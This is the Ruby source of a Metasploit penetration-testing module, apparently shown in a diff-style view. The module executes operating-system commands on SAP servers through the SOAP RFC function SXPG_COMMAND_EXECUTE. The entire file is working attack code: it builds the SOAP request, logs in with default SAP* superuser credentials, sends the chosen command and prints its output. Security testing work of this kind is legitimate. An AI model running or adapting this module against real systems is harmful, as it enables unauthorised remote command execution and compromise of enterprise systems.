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modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# Framework web site for more information on licensing and terms of use. | ||
# http://metasploit.com/framework/ | ||
## | ||
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||
## | ||
# This module is based on, inspired by, or is a port of a plugin available in | ||
# the Onapsis Bizploit Opensource ERP Penetration Testing framework - | ||
# http://www.onapsis.com/research-free-solutions.php. | ||
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts | ||
# in producing the Metasploit modules and was happy to share his knowledge and | ||
# experience - a very cool guy. I'd also like to thank Chris John Riley, | ||
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and | ||
# provided excellent feedback. Some people just seem to enjoy hacking SAP :) | ||
## | ||
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require 'msf/core' | ||
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class Metasploit4 < Msf::Auxiliary | ||
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include Msf::Exploit::Remote::HttpClient | ||
include Msf::Auxiliary::Report | ||
include Msf::Auxiliary::Scanner | ||
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def initialize | ||
super( | ||
'Name' => 'SAP SOAP RFC SXPG_COMMAND_EXECUTE', | ||
'Description' => %q{ | ||
This module makes use of the SXPG_COMMAND_EXECUTE Remote Function Call, through | ||
the use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured | ||
in the SM69 transaction. | ||
}, | ||
'References' => | ||
[ | ||
[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] | ||
], | ||
'Author' => | ||
[ | ||
'Agnivesh Sathasivam', | ||
'nmonkee' | ||
], | ||
'License' => MSF_LICENSE | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(8000), | ||
OptString.new('CLIENT', [true, 'SAP Client', '001']), | ||
OptString.new('USERNAME', [true, 'Username', 'SAP*']), | ||
OptString.new('PASSWORD', [true, 'Password', '06071992']), | ||
OptString.new('CMD', [true, 'SM69 command to be executed', nil]), | ||
OptString.new('PARAM', [false, 'Additional parameters for the SM69 command', nil]), | ||
OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS', 'UNIX', 'Windows NT', 'AS/400', 'OS/400']]) | ||
], self.class) | ||
end | ||
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def run_host(ip) | ||
os = datastore['OS'] | ||
data = '<?xml version="1.0" encoding="utf-8" ?>' | ||
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' | ||
data << '<env:Body>' | ||
data << '<n1:SXPG_COMMAND_EXECUTE xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' | ||
if datastore['PARAM'] | ||
data << '<ADDITIONAL_PARAMETERS>' + datastore['PARAM'] + ' </ADDITIONAL_PARAMETERS>' | ||
else | ||
data << '<ADDITIONAL_PARAMETERS> </ADDITIONAL_PARAMETERS>' | ||
end | ||
data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>' | ||
data << '<OPERATINGSYSTEM>' + os + '</OPERATINGSYSTEM>' | ||
data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' | ||
data << '</n1:SXPG_COMMAND_EXECUTE>' | ||
data << '</env:Body>' | ||
data << '</env:Envelope>' | ||
user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) | ||
print_status("[SAP] #{ip}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") | ||
begin | ||
res = send_request_raw({ | ||
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', | ||
'method' => 'POST', | ||
'data' => data, | ||
'headers' =>{ | ||
'Content-Length' => data.size.to_s, | ||
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', | ||
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], | ||
'Authorization' => 'Basic ' + user_pass, | ||
'Content-Type' => 'text/xml; charset=UTF-8' | ||
} | ||
}, 45) | ||
if res and res.code != 500 and res.code != 200 | ||
# to do - implement error handlers for each status code, 404, 301, etc. | ||
print_error("[SAP] #{ip}:#{rport} - something went wrong!") | ||
return | ||
elsif res and res.body =~ /faultstring/ | ||
error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}).flatten | ||
0.upto(error.length-1) do |i| | ||
print_error("[SAP] #{ip}:#{rport} - error #{error[i]}") | ||
end | ||
return | ||
elsif res | ||
print_status("[SAP] #{ip}:#{rport} - got response") | ||
saptbl = Msf::Ui::Console::Table.new( | ||
Msf::Ui::Console::Table::Style::Default, | ||
'Header' => "[SAP] SXPG_COMMAND_EXECUTE ", | ||
'Prefix' => "\n", | ||
'Postfix' => "\n", | ||
'Indent' => 1, | ||
'Columns' =>["Output",] | ||
) | ||
output = res.body.scan(%r{<MESSAGE>([^<]+)</MESSAGE>}).flatten | ||
for i in 0..output.length-1 | ||
saptbl << [output[i]] | ||
end | ||
print(saptbl.to_s) | ||
return | ||
else | ||
print_error("[SAP] #{ip}:#{rport} - Unknown error") | ||
return | ||
end | ||
rescue ::Rex::ConnectionError | ||
print_error("[SAP] #{ip}:#{rport} - Unable to connect") | ||
return | ||
end | ||
end | ||
end |